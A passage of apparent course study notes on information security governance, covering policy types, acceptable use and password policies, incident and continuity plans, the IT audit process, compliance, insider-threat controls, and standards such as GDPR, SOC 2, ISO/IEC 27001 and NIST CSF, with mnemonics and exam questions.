| Uniformly applied and enforced | a record showing the same sanction for a manager as for a clerk |
To remember the six, picture a college that bans phones in the exam hall. The ban holds only if it was drafted properly, sent to every student, read out before the first paper, explained, signed for on the admit card, and applied to the topper exactly as to everyone else. Wave the topper's phone through once, and the next student caught has his defence ready.
Why uniform enforcement decides the case. An employee dismissed for misusing email sues. The company wins only if it can show the rule existed, reached him, was understood and accepted, and is enforced for everyone. A policy enforced selectively is what his lawyer argues, and it is arguably worse than no policy, because it proves management knew and chose whom to punish.
Qualities of a good policy (class notes): concise, usable, realistic, consistent, economically feasible and compliant with laws and regulations. NIST SP 800-14 adds that every policy must be supplemented by standards, guidelines and procedures, visible, supported by management, and consistent with other directives and the organisation's mission.
A policy has a lifecycle, and an effective one is never finished:
- Draft with end users, legal and HR.
- Approve through governance (the steering committee).
- Publish and distribute, keeping the evidence.
- Train and collect acknowledgements.
- Enforce and monitor, with the same sanctions for all.
- Review at least yearly, and after a major change or incident; retire what no longer applies. Every policy names an owner and a review date.
Why policies fail: no management commitment, rules too strict to follow, a mismatch with how the business works, no communication, and selective enforcement.
- Explain the role of governance in a security programme with reference to people, process and technology. What makes a security policy effective and legally enforceable? Predicted, ch 7 Q1 · 4+6
7.2SPF documents
NIST SP 800-14's three types of policy: EISP, ISSP and SysSP COURSE
| EISP | ISSP | SysSP | |
|---|---|---|---|
| Full name | Enterprise information security policy | Issue-specific security policy | System-specific security policy |
| NIST's name | program policy | issue-specific policy | system-specific policy |
| Level | Strategic | Tactical | Operational |
| Scope | the whole organisation | one technology or issue | one system or device |
| Purpose | sets the direction, scope and tone of the programme; assigns responsibilities | tells every user how to use one technology properly; protects the organisation from liability | tells administrators how one system is configured and who may do what on it |
| Written by | senior management, the CISO; the board approves | the owner of the issue, with legal and HR | management (the guidance) and administrators (the specifications) |
| Changes | rarely | as technology changes | with every change to the system |
| Example | the information security policy signed by the chief executive | the email, internet use, BYOD, password, remote access or wireless policy | the perimeter firewall's rule policy; a web server hardening policy |
To remember the three, think of a college. Its charter, which says why the college exists and who answers for what, is the EISP; the library rules and the hostel rules, one issue each and read by every student, are ISSPs; the configuration sheet of the exam server, read only by the IT section, is a SysSP.
EISP: the constitution
The executive-level document, owned by senior management and the CISO. It assigns responsibilities for the various areas of security, sets the strategic direction, scope and tone for all of the organisation's security work, and guides how the programme is developed, implemented and managed. It rarely changes and names no technology. Its components (deck):
- Corporate philosophy on security: an overview of why and how the organisation protects information.
- Structure of the InfoSec organisation: the roles and who fills each.
- Shared responsibilities: what everyone must do (employees, contractors, consultants, partners, visitors), such as wearing a badge and reporting incidents.
- Role-unique responsibilities: what each function must do, for HR as against marketing.
NIST's program policy has the same core: create and define the programme and the resources it covers, set strategic directions, assign responsibilities, and address compliance, including the penalties and disciplinary actions for breaking it.
ISSP: one issue at a time
Detailed, targeted guidance that instructs everyone in the proper use of one technology or process. It protects both employee and organisation from inefficiency and ambiguity, and it indemnifies the organisation against liability when an employee misuses a system.
Generic about vendors: "remote access only through the company VPN" names no product, so the vendor can change without a rewrite. NIST says issue policies must be updated frequently, as the technology moves.
- Common topics: email, internet and web use, BYOD, home use of company equipment, personal devices on the network, anti-malware, and a rule against hacking or testing the organisation's own controls.
- The standard skeleton: statement of policy (scope, applicability, technology, responsibilities); authorised access and usage (fair use, privacy); prohibited use (criminal, harassing, copyright violations); systems management (user and administrator responsibilities, monitoring, encryption, virus protection); violations of policy (reporting and penalties); policy review and modification; limitations of liability.
- Three ways to organise ISSPs: many independent documents, one comprehensive document, or a modular document that keeps each issue separate under one administration.
SysSP: one system, two parts
Focused on a single system: a firewall, a web server, even one computer. It often works as a standard or a procedure, and its two parts are usually bound into one document:
- Management guidance: created by management to guide how the technology is implemented and configured, saying what the system must achieve and why; it covers anything that affects confidentiality, integrity or availability, and it informs technologists of management's intent.
- Technical specifications: the administrator's directions for implementing that
guidance; each type of equipment has its own technical SysSP. Two forms: access control
lists (ACLs), which say who may use a resource, what, when, where from and how; and
configuration rules, the instructional codes that tell a firewall, IDPS or proxy
what to do with the traffic it sees (the class notes' example is Snort's
snort.conffile).
Why the guidance matters. Without it an administrator may configure the firewall "as he sees fit", maybe against the organisation's intent. The deck's example names two made-up organisations: a firewall administrator moves from Open Idea University, whose firewall rules are lax and open, to Boom! Technologies, a high-security defence contractor, and carries the same open rules with him. Same firewall rules, wrong context; the management guidance is what tells him the context has changed.
| The firewall | Management guidance | Technical specification |
|---|---|---|
| Inbound | Deny everything by default; the public may reach only the web servers, over HTTPS. | permit tcp any host 203.0.113.10 eq 443 then
deny ip any any log |
| Outbound | Staff may browse the web but not use file-sharing services. | allow ports 80 and 443 from the LAN through the proxy; block known peer-to-peer ports and categories |
| Change and review | Every rule change needs change-board approval; rules are reviewed each quarter. | rule comments carry the change ticket number; the rule set is exported for the quarterly review |
| Administration | Only network staff may change the firewall, and every change is logged. | management over SSH from the management network only; logs sent to the SIEM |
- Explain various types of information security policies outlined in NIST 800-14 with examples. Class notes, ch 7 Q1
- According to the NIST framework, security policies can be grouped into three main types. List and describe these three types: Enterprise (EISP), Issue-Specific (ISSP), and System-Specific (SysSP), and give a practical example for each. Notes prediction, ch 7 Q2
- a. A System-Specific Policy (SysSP) is composed of two main parts. What are they? b. Using the example of a new company firewall, explain the difference between the "Management Guidance" and the "Technical Specifications" (e.g., ACLs or Configuration Rules) for that firewall. Notes prediction, ch 7 Q3
The policies every user meets: AUP, password, access and remote access PREDICTED
The deck's six. The lecture names six documents as the framework's concrete outputs, each one also audit evidence of due diligence: three policies for everyday use, then three plans for when something goes wrong.
- Acceptable use policy: what users may and may not do with company assets.
- Access control policy: who may reach which systems and data.
- Remote access policy: secure offsite connectivity: staff outside the office connect only through the VPN.
- Data breach response: the steps taken when personal data is exposed.
- Disaster recovery plan: restoring IT after an outage.
- Business continuity plan: keeping the business running meanwhile.
Answers: the six SPF documents the deck names, the three policies first and then the three plans.
How it decodes: Six words, six documents, initials in order. It reads as Ajay gulped far too much rakshi today and went mad. The first three words only set the scene, as the three policies set the rules; the trouble starts at Dherai, exactly where the plans for things going wrong begin. Two A's: Ajay is acceptable use, Aaja is access control. Two D's: Dherai is data breach response, Dhokera is disaster recovery.
- AAjay Acceptable use policy, what users may and may not do
- AAaja Access control policy, who reaches which systems and data
- RRakshi Remote access policy, outside the office only through the VPN
- DDherai Data breach response, the steps when personal data leaks
- DDhokera Disaster recovery plan, IT restored after an outage
- BBahulaayo Business continuity plan, the business kept running meanwhile
The policies in detail, with the password, BYOD and data classification policies beside them; the three plans have the next card to themselves.
| Document | What it governs | Typical rules |
|---|---|---|
| Acceptable use policy (AUP) | what users may and may not do with company IT and data | business use first, limited personal use; nothing illegal, harassing or pirated; no sharing of credentials; activity may be monitored |
| Password (authentication) policy | how identities are proven | long passphrases, MFA for remote and admin access, no reuse, lockout or throttling, change on suspicion of compromise |
| Access control policy | who may reach which systems and data | least privilege, need to know, role-based access, joiner, mover and leaver steps, access reviews every quarter |
| Remote access policy | connecting from outside the office | only through the company VPN with MFA, only from managed devices, idle sessions time out |
| BYOD policy | personal phones and laptops used for work | enrolment in device management, a separate work profile, remote wipe of work data only |
| Data classification and handling | labels and what each label requires | public, internal, confidential, restricted; encryption for confidential data at rest and in transit |
Where they sit. Each of these policies is an ISSP (the three types): it states the rule for one issue, and standards and procedures beneath it supply the settings. The course's lab asks for three of them to be written: an AUP, a password policy and an incident response plan (the plan is on the next card).
The sections of an acceptable use policy
To remember what an AUP is: the notice on a cyber cafe's wall (no illegal sites, no installing software, the owner can see every screen, break a rule and you leave) is an acceptable use policy in miniature: prohibited use, a monitoring notice and enforcement, in four lines. A company's AUP is the same notice, written out in full:
- Purpose and scope: whom it covers (employees, contractors, interns) and what (computers, network, email, internet, phones, data).
- Acceptable use: systems are for business; limited personal use is allowed if it does not interfere with work or security.
- Prohibited use: illegal activity, harassment, pirated software, sharing passwords, disabling security software, crypto mining, and scanning or testing systems without permission.
- Monitoring and privacy: company systems are monitored and logged, within the law, so users should not expect privacy on them.
- User responsibilities: lock the screen, report phishing and lost devices, protect confidential data.
- Enforcement: the consequences, from a warning to dismissal and legal action.
- Acknowledgement: signature and date, the policy owner, and the review date.
The sections of a password policy
- Scope: every account, including service and administrator accounts.
- Construction: length over complexity, for example a minimum of 12 characters or a passphrase; checked against lists of breached and common passwords.
- MFA: required for email, remote access and every privileged account.
- Storage and sharing: never written down or shared; a company password manager is allowed; systems store passwords only as salted hashes.
- Change and lockout: change at once on suspected compromise; throttle or lock after repeated failures.
- Privileged accounts: separate admin accounts, kept in a vault and reviewed.
- Enforcement and review.
- Outline the main sections of an Acceptable Use Policy and a password policy for an organisation. Differentiate between an incident response plan, a business continuity plan and a disaster recovery plan. Predicted, ch 7 Q2 · 5+5
When things go wrong: the IRP, the DRP and the BCP PREDICTED
| Incident response plan (IRP) | Disaster recovery plan (DRP) | Business continuity plan (BCP) | |
|---|---|---|---|
| Triggered by | a security incident: malware, a breach, an insider | an event that takes IT down: fire, flood, earthquake, ransomware in the data centre | any disruption to critical business functions |
| Goal | detect, contain, eradicate, recover, and learn | restore systems and data, at the main site or an alternate one | keep critical functions going at an acceptable level |
| Scope | security incidents | IT systems and data | the whole business: people, processes, premises, suppliers and IT |
| Owner | the incident response team | IT operations | the head of business continuity, with every business unit |
| Example | ransomware on one laptop: isolate it, reimage it, reset the user's passwords | restore the core banking server at the DR site within its recovery time | branches keep serving customers on paper and send them to other channels until systems return |
How the three fit together. The DRP is the technical part of the BCP: the BCP decides which business functions matter most and how fast they must return, and the DRP restores the IT they run on.
The IRP handles the attack itself. When an incident grows into a disaster, such as ransomware encrypting the data centre, it hands over to the DRP and the BCP. The steps of the IRP are taught in chapter 6 (incident response steps).
- Business impact analysis (BIA): the study behind the BCP. It lists critical functions and the cost of losing each over time.
- Recovery time objective (RTO): the longest a function may be down.
- Recovery point objective (RPO): the most data, measured in time, that may be lost; an RPO of one hour needs backups or replication at least every hour.
- Alternate sites: hot (running and in sync, ready within minutes to hours), warm (equipment ready, data restored within hours to days), cold (space and power only, days to weeks). The tighter the RTO, the hotter and dearer the site.
- Data breach response policy: the deck's name for the steps taken when personal data is exposed: contain, assess who is affected, notify (the regulator within 72 hours under GDPR; the people affected), and review.
To remember RTO and RPO: for a mobile wallet such as eSewa or Khalti, the RTO asks how long the app may stay down before customers give up and pay some other way, and the RPO asks how many minutes of payments may be lost, which for a wallet is close to none. For a college notice board a whole day of both hardly matters, which is why the wallet needs a hot site and the notice board needs a copy on a pen drive.
A plan is worth only as much as its last test. Tests grow in realism and risk: a checklist review, a tabletop exercise (the team talks through a scenario), a simulation, a parallel test (the DR site runs alongside production), and a full interruption test.
In Nepal, NRB's IT Guidelines require every commercial bank to:
- Approve a BCP policy at board level, and set the RTO and RPO of each business process.
- Test the BCP at least annually, with the tests audited by internal audit.
- Keep an incident response plan covering communication with customers, the media and the regulator.
- Outline the main sections of an Acceptable Use Policy and a password policy for an organisation. Differentiate between an incident response plan, a business continuity plan and a disaster recovery plan. Predicted, ch 7 Q2 · 5+5
7.3Security auditing and compliance
What an audit is, and why it is an assurance engagement PREDICTED
Why it is called assurance. Three parties make an assurance engagement:
- The responsible party: management, which designs and runs the controls.
- The practitioner: the auditor, independent of the people who run the controls.
- The intended users: the board and its audit committee, shareholders, a regulator or a customer, who cannot check the controls themselves and rely on the auditor's opinion.
The auditor measures what exists against criteria (the policy, ISO/IEC 27001, PCI DSS, a law), gathers evidence, and gives an opinion that the users can trust. The value is the confidence it gives a third party, not the checking itself.
To remember it: the members of a savings cooperative cannot open its books themselves, so they rely on the auditor's signed report. The report is worth exactly as much as the trust they can place in it, and that trust is what an assurance engagement provides.
Reasonable, not absolute, assurance. An audit relies on sampling, limited time and judgement, so it reduces the risk of a wrong opinion to an acceptable level rather than eliminating it. Discrepancies and findings are reported to the audit committee. Because sampling means an audit can never promise zero risk, continuous monitoring between audits matters (compliance).
Sampling in practice: an auditor tests 25 of the 400 people who left during the year. If all 25 accounts were disabled on time, the auditor concludes that the leaver control works, with high but not total confidence.
| Type of audit | Assurance that | Given to |
|---|---|---|
| Financial | the financial statements give a true and fair view | shareholders |
| Internal | internal controls work and risk is managed | management and the board |
| Statutory | the organisation complies with the law | regulators |
| IS / IT | IT assets are safe, controls run smoothly and threats are detected | management, board, regulators, customers |
Who audits. A first-party audit is internal; a second-party audit is a customer auditing its supplier; a third-party audit is an independent body, such as the certification body behind an ISO/IEC 27001 certificate or the CPA firm behind a SOC 2 report. ISACA's CISA is the usual qualification for IS auditors.
What an IT security audit covers (deck). It assesses the networked infrastructure: systems, networks, operating systems and applications. It is carried out by someone with both technical and business knowledge of the IT estate, who interviews key staff, runs vulnerability assessments and penetration tests, and catalogues existing controls.
Its goals: confirm compliance, confirm the assets are protected, and recommend better controls. The class notes give the same purpose: to evaluate policies, processes and operations to ensure compliance with standards and laws, and that valued assets are protected.
The audit subject areas, from the building up. Each layer has its own controls and its own evidence. The deck draws five; the class notes add business processes on top, so the audit covers the whole technology stack and the work it serves:
| Layer | What the auditor looks at |
|---|---|
| Data-centre facilities | the building and racks: physical access, power, cooling, fire suppression |
| Networks | firewalls, switches and routers: rule reviews, segmentation, remote access |
| System platforms | operating environments: hardening, patch levels, administrator accounts |
| Databases | the systems that organise and serve the data: access rights, encryption, backups |
| Applications | what users see (ERP, email, scheduling): user access, input checks, separation of duties |
| Business processes (class notes) | the work the systems serve, end to end: who approves a payment, who reconciles it, whether the steps a policy demands actually happen |
How evidence is gathered: inquiry (interviews), observation, inspection of documents, configurations and logs, re-performance of a control, and scripts that test whole populations, such as comparing every active account with the HR list of current staff. Every test and result goes into the working papers.
In Nepal, NRB's IT Guidelines require commercial banks to conduct an IS audit every year. It may be outsourced to a qualified firm, but the planning, the risk assessment and the follow-up stay the bank's own responsibility.
- a. What is an IS Audit, and why is it considered an "assurance engagement"? b. Outline the six phases of the IT Audit process, from the initial planning stage to the final follow-up. Notes prediction, ch 7 Q4
The IT audit process: six phases, and why follow-up decides its worth TOP 2/4
83 int · 82 Bh105
| Phase | What happens | Output |
|---|---|---|
| 1. Planning | set objectives and scope; assess risk and internal controls to decide where to look; build checklists and test steps; schedule; hold a kick-off meeting with the auditee | the audit plan |
| 2. Fieldwork and documentation | run the checklist: interviews, inspections, samples, re-performance; record every test; a risk or control lapse found is a finding | working papers |
| 3. Issue discovery and validation | list potential concerns and validate each with the auditee before reporting, so facts are right and misunderstandings drop out; report in good time | validated findings |
| 4. Solution development | agree a corrective action plan (C/A) with the auditee for each finding, with an owner and a date, by one of three approaches (below) | action plans |
| 5. Report drafting and issuance | statement of scope, executive summary, the findings with their action plans, and a conclusion (satisfactory or unsatisfactory); distribute to management and the audit committee | the audit report |
| 6. Issue tracking | the audit is not over until the findings are fixed: follow up every finding until it is resolved; escalate missed deadlines as a last resort; validate the fix, for example by testing a BCP | closed findings |
Answers: the six phases of the IT audit process, in order, from planning to the final follow-up.
How it decodes: Six words, six phases, initials in order. It reads as Pappu farted in class, and Rani, at the next desk, breathed it in. Two I's, so watch them: In, the third word, is issue discovery and validation; Inhaled, the very last, is issue tracking, the follow-up the 2083 question is about.
- PPappu Planning: objectives, scope, risk, checklists, kick-off
- FFarted Fieldwork and documentation: tests run, working papers kept
- IIn Issue discovery and validation: each concern confirmed with the auditee
- SSchool Solution development: an action plan, an owner, a date
- RRani Report drafting and issuance: to management and the audit committee
- IInhaled Issue tracking: follow up, escalate, validate, close
Three ways to agree an action plan in phase 4, weakest first:
- Recommendation approach: the auditor recommends a fix; it may never be acted on.
- Management-response approach: the auditor reports the issue and management must respond formally with its own plan.
- Solution approach: auditor and auditee agree the plan together; the most effective, because the people who must do the work have already committed to it.
"Finding problems and ensuring corrective action." Phases 1 to 3 find problems; phases 4 to 6 get them fixed. An audit that stops at its report leaves every risk exactly where it was, only better documented.
- Follow-up turns a finding into a changed control.
- Validation proves the change works.
- The tracking record shows which weaknesses keep coming back, which is where the next audit looks first.
A follow-up that prevents a recurring risk. An audit of an ERP system finds 14 accounts of former staff still active: the leaver process depends on someone remembering to email IT.
- Action plan (solution approach): HR sends a daily leaver report; IT disables accounts within 24 hours; managers recertify their staff's access every quarter. Owner: the IT manager; due in 60 days.
- Tracking: at 60 days the report exists, but recertification has not started; the auditor escalates to the CISO, and it starts within two weeks.
- Validation: at 90 days the auditor samples 20 recent leavers; all were disabled within a day. The finding is closed.
- Next cycle: next year's plan tests the control again.
Without the follow-up, the next disgruntled leaver keeps a working login, and the same finding reappears in next year's report, or as an incident (the insider card). An open finding that repeats in two consecutive audits is a warning the audit committee should escalate.
- “An effective audit is not only about finding problems but also ensuring corrective action.” Discuss this statement with reference to the IT Audit Process and give an example of how follow-up can prevent recurring risks. 2083 internal Q8 · 5
- a) “An effective audit is not only about finding problems but also ensuring corrective action.” Discuss this statement with reference to the IT audit process and give an example of how follow-up can prevent recurring risks. b) Consider the insider threat case where a program manager leaked confidential documents to a competitor. What policy, audit, and monitoring mechanisms could have helped detect and prevent such insider abuse? 2082 Bhadra Q6 · 10
- a. What is an IS Audit, and why is it considered an "assurance engagement"? b. Outline the six phases of the IT Audit process, from the initial planning stage to the final follow-up. Notes prediction, ch 7 Q4
Compliance and internal controls PREDICTED
How an auditor thinks about internal controls (deck), with payroll as the example:
- Every system and process has a business purpose: payroll pays the right people the right amount.
- The auditor looks for risks to that purpose: a fictitious employee on the payroll, a changed bank account number.
- The auditor confirms controls mitigate them: HR approves every new hire; a second person approves any change of bank details; payroll is reconciled to HR records every month.
- Where a control is missing or failing, that is a finding.
Controls come in kinds (chapter 1 sorts them by purpose and by mechanism):
| Purpose | Administrative | Technical | Physical |
|---|---|---|---|
| Preventive | separation of duties | MFA, firewall rules | locked server room |
| Detective | monthly reconciliation, access review | SIEM alert, log review | CCTV |
| Corrective | disciplinary process | restore from backup, patch | fire suppression |
- IT general controls (ITGC) support every application: access to programs and data, change management, system development, and computer operations such as backups.
- Application controls sit inside one system: input checks, processing completeness, output reconciliation.
- Design and operating effectiveness: would the control work as described, and did it actually run, every time, over the period? A control can pass the first and fail the second. SOC 2 Type I and Type II reports test exactly these (7.4).
- COSO's internal control framework (2013), the classic definition, has five components: control environment, risk assessment, control activities, information and communication, and monitoring activities.
Why compliance matters (deck):
- Due care and due diligence: it demonstrates both to regulators, customers and courts (due care and due diligence).
- Evidence: it turns policy on paper into proof that controls actually operate.
- Cost of failure: fines, lost contracts, lost licences to operate.
Compliance is a floor, not a ceiling. It is necessary, never sufficient, for three reasons:
- A minimum: a standard codifies the minimum agreed practice at the time it was written, and attackers do not stop at the minimum.
- A sample: an audit samples, so a compliant opinion can miss a weak host.
- A snapshot: an audit certifies one moment, while the environment changes daily.
To remember it, compliance is the exam's pass mark. Clearing it proves the minimum, on one day, on the questions that happened to be set: a minimum, a snapshot and a sample, the same three reasons. Nobody hires an engineer for scoring exactly the pass mark.
The classic case: the US retailer Target said it had been certified compliant with PCI DSS in September 2013; weeks later attackers stole about 40 million payment card numbers from its tills, entering through a supplier's credentials.
Continuous monitoring closes the gap between audits: automated configuration checks, SIEM rules that flag a disabled control, and compliance dashboards that show drift the day it happens, not at the next annual audit.
A minimum bar, so testing still matters. Compliance is necessary but not sufficient, which is why the deck moves on from audit to testing: the three ways to assess check whether the controls actually hold.
The course's compliance audit lab does this with tools: take a security policy, then check systems against it and the regulations behind it. Configuration auditing tools compare each system with the benchmark the policy adopts: CIS-CAT checks systems against the CIS Benchmarks, OpenSCAP evaluates them against SCAP profiles (a PCI DSS profile, for instance), Lynis audits Linux and Unix hosts, and Nessus runs compliance checks beside its vulnerability scans. Each failed check is a finding, exactly as above.
- What are internal controls, and how does an auditor use them to judge compliance? Why is compliance said to be a floor and not a ceiling for security? Predicted, ch 7 Q3 · 5+5
Stopping insider abuse with policy, audit and monitoring TOP 2/4
83 int · 82 Bh105
The case (2083 internal): a program manager leaks confidential documents to a competitor. What makes it hard is that the program manager is supposed to handle plans, prices and designs; the leak looks like ordinary work until the documents leave.
Related cases. The class notes cite a sharper version, an employee who was secretly the chief executive of a competitor. Chapter 6 analyses another insider incident as an incident (the insider case); this card is about the controls.
Policy: prevent and deter
- Data classification and handling: the documents are labelled Confidential, and the label forbids personal email, USB drives and personal cloud storage.
- Least privilege and need to know: the program manager reaches only the files of the projects he runs, not every project's.
- NDA, confidentiality and conflict-of-interest declarations: signed at joining and renewed yearly. A secret stake in a competitor is exactly what the declaration asks about, and a breach gives the company a legal remedy.
- Acceptable use with a monitoring notice: staff are told activity is logged, which deters and gives the legal basis for monitoring.
- Separation of duties: releasing a document outside the company needs a second person's approval.
- Job rotation and mandatory vacation: someone else doing the job for a fortnight may notice what does not add up.
- Screening and offboarding: checks before hiring; at resignation, access is reduced, devices are recovered, and the NDA is restated in the exit interview.
Audit: verify, and keep the evidence
- Access reviews and recertification: every quarter the owner confirms each person's rights; access to projects the manager no longer runs is removed.
- Audit of data transfers: review of downloads, emails with attachments to outside domains, USB writes and print jobs.
- Log review and audit trails: protected, retained logs that later become the evidence for dismissal or prosecution.
- Review of privileged and dormant accounts.
Monitoring: detect in time
- Data loss prevention (DLP): on email, endpoints (USB, printing) and web uploads; it blocks or alerts when a Confidential file leaves.
- UEBA baselines: flag the program manager downloading thirty times his usual volume, at 11 pm, from projects he does not manage (UEBA).
- SIEM correlation: a resignation recorded by HR, plus a bulk download, plus an email to a personal address or a competitor's domain, raises one high-priority alert (SIEM).
- CASB: sees uploads to personal cloud storage.
- Watermarks, rights management and decoy files: a leaked copy identifies its source, and a decoy document opened outside the company raises an alarm.
Watch the leaver window. Insider theft of intellectual property clusters around resignation, so a policy of closer monitoring from the day notice is given catches most of it.
Stay within the law. Monitoring must be announced in the AUP, limited to work systems and proportionate; Nepal's Individual Privacy Act 2018 and, for EU staff, GDPR apply. When a leak is found, the response follows the insider playbook: preserve evidence, involve HR and legal, revoke access, and then the incident response steps.
- Consider the insider threat case where a program manager leaked confidential documents to a competitor. What policy, audit, and monitoring mechanisms could have helped detect and prevent such insider abuse? 2083 internal Q9 · 5
- a) “An effective audit is not only about finding problems but also ensuring corrective action.” Discuss this statement with reference to the IT audit process and give an example of how follow-up can prevent recurring risks. b) Consider the insider threat case where a program manager leaked confidential documents to a competitor. What policy, audit, and monitoring mechanisms could have helped detect and prevent such insider abuse? 2082 Bhadra Q6 · 10
7.4Security standards and regulations
Regulation, standard or framework: three kinds of outside rule PREDICTED
| Regulation | Standard | Framework | |
|---|---|---|---|
| What it is | law, or a rule with legal force | a defined, published specification | a structured approach, outcomes rather than prescriptions |
| Who sets it | a government or regulator | a standards body (ISO/IEC) or an industry council | an agency or association (NIST, CIS, ISACA) |
| Force | mandatory | voluntary, or mandatory by contract | voluntary |
| Failing it means | fines, sanctions, legal action | a failed or lost certificate, a broken contract | a gap to close |
| Proof | regulator inspection, breach reports | certification or assessment by an accredited third party | self-assessment, a target profile |
| Examples | GDPR, HIPAA; in Nepal the Electronic Transactions Act 2008, the Individual Privacy Act 2018, NRB directives | ISO/IEC 27001, PCI DSS | NIST CSF, CIS Controls, COBIT |
To remember the three, think of the road. Traffic law is a regulation: break it and the traffic police fine you. The safety mark on a helmet is a standard: the helmet was tested against a published specification and certified. A driving instructor's advice is a framework: good practice you adapt to your own road.
The lines blur in practice, and the blur is worth understanding:
- PCI DSS is not law, but the card brands make it compulsory by contract for anyone who stores, processes or transmits card data; a merchant that fails it can be fined by its bank or lose the right to take cards.
- SOC 2 is neither law nor certificate: it is an auditor's attestation against the AICPA's Trust Services Criteria. Failing it brings no fine, only lost customers. The deck lists it under frameworks.
- Frameworks and standards are how regulations get met. GDPR demands "appropriate technical and organisational measures" without naming any; an ISO/IEC 27001 certificate is common evidence that they exist.
Why the distinction matters: it decides the consequence of a gap (a fine, a lost certificate, or an item on an improvement plan), who checks, and how often.
One control, many regimes. Multi-factor authentication for remote access satisfies PCI DSS, an ISO/IEC 27001 Annex A control, the Protect function of NIST CSF and the SOC 2 security criteria at once. Mature organisations build one control set and map it to every regime they face, so that one test produces evidence for several audits.
- Differentiate between a regulation, a standard and a framework with examples. Explain ISO/IEC 27001 and the NIST Cybersecurity Framework, and how an organisation can use them together. Predicted, ch 7 Q4 · 4+6
GDPR, HIPAA and SOC 2 compared PREDICTED
| GDPR | HIPAA | SOC 2 | |
|---|---|---|---|
| Full name | General Data Protection Regulation, Regulation (EU) 2016/679 | Health Insurance Portability and Accountability Act, 1996 | System and Organization Controls 2, from the AICPA |
| Type | EU regulation (law), applied from 25 May 2018 | US federal law, with rules issued by the health department (HHS) | voluntary attestation report by a licensed CPA firm |
| Protects | personal data of people in the EU | protected health information (PHI) | customer data held by a service organisation |
| Applies to | anyone handling EU residents' personal data, wherever it is based | covered entities (health plans, providers, clearinghouses) and their business associates | SaaS, cloud and other service organisations whose customers ask for it |
| Built around | 7 data protection principles and the rights of the data subject | the Privacy, Security and Breach Notification Rules | 5 Trust Services Criteria |
| Breach notice | to the supervisory authority within 72 hours | to the people affected within 60 days; to HHS; to the media if over 500 in a state | no legal duty; handled under the criteria |
| Penalty or proof | up to €20 million or 4% of worldwide annual turnover, whichever is higher | tiered civil fines; criminal fines and prison for wrongful disclosure | a Type I or Type II report; no fine, but a qualified report loses deals |
GDPR
- Seven principles (Article 5): lawfulness, fairness and transparency; purpose limitation; data minimisation; accuracy; storage limitation; integrity and confidentiality; accountability.
- Six lawful bases for processing: consent, contract, legal obligation, vital interests, public task, legitimate interests.
- Rights of the data subject: to be informed, of access, to rectification, to erasure (the right to be forgotten), to restrict processing, to data portability, to object, and protection from purely automated decisions.
- Duties: data protection by design and by default, impact assessments for high-risk processing, a data protection officer where required, records of processing, and breach notification.
- Reach: it follows the data, so a Nepali software firm that offers services to people in the EU is caught. The largest fine so far is €1.2 billion, on Meta in 2023, for moving EU users' data to the United States.
HIPAA
- Privacy Rule: how PHI may be used and disclosed, patients' rights to their records, and the minimum necessary rule.
- Security Rule: administrative, physical and technical safeguards for electronic PHI: risk analysis, workforce training, facility access, access control, audit controls, integrity and transmission security.
- Breach Notification Rule, added under the HITECH Act of 2009; enforcement by the HHS Office for Civil Rights, with criminal cases taken by the Department of Justice.
- Business associate agreements carry the duties to any vendor that handles PHI, a cloud host or a billing firm.
SOC 2
- Five Trust Services Criteria: security (the common criteria, always included), availability, processing integrity, confidentiality and privacy; the organisation chooses which besides security.
- Type I reports whether controls are suitably designed at a point in time; Type II whether they also operated effectively over a period, commonly 6 to 12 months. Customers ask for Type II.
- Restricted use: the report is shared with customers under NDA; a SOC 3 is the short public version, and SOC 1 covers controls that affect customers' financial reporting.
To remember Type I and Type II: Type I is a photo of a restaurant kitchen taken on inspection day, clean because the inspector was expected; Type II is six months of the kitchen's CCTV. Customers ask for the CCTV.
In Nepal there is no law of GDPR's scope; the Individual Privacy Act 2018 requires consent to collect personal information and limits its use to the purpose it was collected for (cyber law in Nepal).
- Compare GDPR, HIPAA and SOC 2 in terms of their nature, the data they protect, whom they apply to, their core requirements and the consequence of non-compliance. Predicted, ch 7 Q5 · 10
The frameworks programmes are built on: ISO/IEC 27001, NIST CSF and more PREDICTED
ISO/IEC 27001: the certifiable management system
- An ISMS: the international standard (current edition 2022) for an information security management system, the policies, processes and people that manage information risk as a system, not as a set of tools.
- Risk-based: clauses 4 to 10 are mandatory: context, leadership, planning (risk assessment and treatment), support, operation, performance evaluation (internal audit and management review) and improvement.
- Annex A: 93 reference controls in four themes, organisational (37), people (8), physical (14) and technological (34); ISO/IEC 27002 explains each one.
- Statement of Applicability: which Annex A controls apply, which do not, and why.
- Plan, Do, Check, Act: the cycle of continual improvement.
- Certification: an accredited body audits the documents and then the practice; the certificate lasts three years, with a surveillance audit every year.
NIST Cybersecurity Framework 2.0: six functions
Voluntary and outcome-based, flexible and widely adopted; first published in 2014, and version 2.0 (February 2024) added Govern to the original five functions.
| Function | Outcome | Example |
|---|---|---|
| Govern | strategy, policy, roles, supply chain risk | the board approves the policy and the risk appetite |
| Identify | know the assets and the risks | asset inventory, risk assessment |
| Protect | safeguards | MFA, training, encryption, patching |
| Detect | find attacks | SIEM alerts, anomaly detection |
| Respond | act on incidents | incident response plan, containment |
| Recover | restore | restore from backup, communicate |
Its tiers (partial, risk informed, repeatable, adaptive) rate how mature the practice is; a current profile compared with a target profile shows the gap to close.
The others
- PCI DSS (version 4.0, 2022): 12 requirements for anyone who stores, processes or transmits payment card data; prescriptive, with quarterly external scans by an Approved Scanning Vendor and a penetration test at least once a year. Requirement 12 is itself an information security policy requirement.
- CIS Controls (version 8): 18 prioritised, prescriptive safeguards, a practical starting point for defence, beginning with the inventory of hardware and software; implementation group 1 is the essential hygiene every organisation should reach first.
- COBIT (ISACA): IT governance, the evaluate, direct and monitor cycle of governance.
- ITIL: IT service management (incident, problem and change management) that wraps security into daily operations.
Who uses which (deck): ISO/IEC 27001 and SOC 2 are what most organisations certify or attest against; NIST CSF and the CIS Controls are how they organise the work; PCI DSS is mandatory wherever payment cards are involved. Know all six by name.
Using them together. A bank might certify its data centre to ISO/IEC 27001, report to its board by NIST CSF function, meet PCI DSS for its card business, harden its servers with CIS Benchmarks, and govern IT with COBIT, mapping one set of controls to all of them.
- Differentiate between a regulation, a standard and a framework with examples. Explain ISO/IEC 27001 and the NIST Cybersecurity Framework, and how an organisation can use them together. Predicted, ch 7 Q4 · 4+6
7.5Security testing and assessment
Three ways to assess security: audit, vulnerability assessment, penetration test PREDICTED
Compliance proves the paperwork; testing proves reality. That is the deck's reason for testing at all: an audit can show the controls are written down and in place, but only a test shows they hold. In the deck's shorthand, the audit is the paperwork check, the vulnerability assessment (VA) is automated breadth, and the penetration test is manual depth with proof. The last two are often bought together as one service, VAPT (vulnerability assessment and penetration testing).
